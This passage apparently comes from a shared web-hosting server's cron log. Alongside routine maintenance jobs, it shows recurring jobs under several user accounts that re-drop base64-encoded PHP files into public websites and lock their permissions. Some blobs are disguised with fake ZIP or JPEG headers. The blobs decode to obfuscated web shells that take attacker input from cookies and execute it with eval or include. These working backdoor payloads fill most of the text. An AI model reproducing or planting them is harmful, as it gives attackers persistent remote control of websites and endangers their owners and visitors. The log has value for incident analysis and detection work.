dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:29:01 medusa CROND[15925]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:29:01 medusa CROND[15926]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:29:01 medusa CROND[15927]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 21:29:01 medusa CROND[15928]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:29:01 medusa CROND[15934]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:29:01 medusa CROND[15933]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:29:01 medusa CROND[15941]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:29:01 medusa CROND[15937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:29:01 medusa CROND[15946]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:30:01 medusa CROND[2095]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 21:30:01 medusa CROND[2205]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 21:30:01 medusa CROND[2492]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 21:30:01 medusa CROND[2493]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:30:01 medusa CROND[2494]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 21:30:01 medusa CROND[2495]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 21:30:01 medusa CROND[2496]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 21:30:01 medusa CROND[2497]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 21:30:01 medusa CROND[2500]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 21:30:01 medusa CROND[2501]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 21:30:01 medusa CROND[2498]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 21:30:01 medusa CROND[2502]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 21:30:01 medusa CROND[2503]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 21:30:01 medusa CROND[2514]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:30:01 medusa CROND[2516]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:30:01 medusa CROND[2515]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 21:30:01 medusa CROND[2517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:30:01 medusa CROND[2519]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 21:30:01 medusa CROND[2529]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 21:30:01 medusa CROND[2530]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 21:30:01 medusa CROND[2532]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 21:30:01 medusa CROND[2533]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:30:01 medusa CROND[2534]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:30:01 medusa CROND[2537]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:30:01 medusa CROND[2539]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:30:01 medusa CROND[2540]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:30:01 medusa CROND[2541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:30:01 medusa CROND[2544]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:30:01 medusa CROND[2552]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 21:30:01 medusa CROND[2692]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:30:01 medusa CROND[2693]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 21:31:01 medusa CROND[19349]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 21:31:01 medusa CROND[19592]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:31:01 medusa CROND[19593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:31:01 medusa CROND[19597]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:31:01 medusa CROND[19598]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:31:01 medusa CROND[19599]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 21:31:01 medusa CROND[19600]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS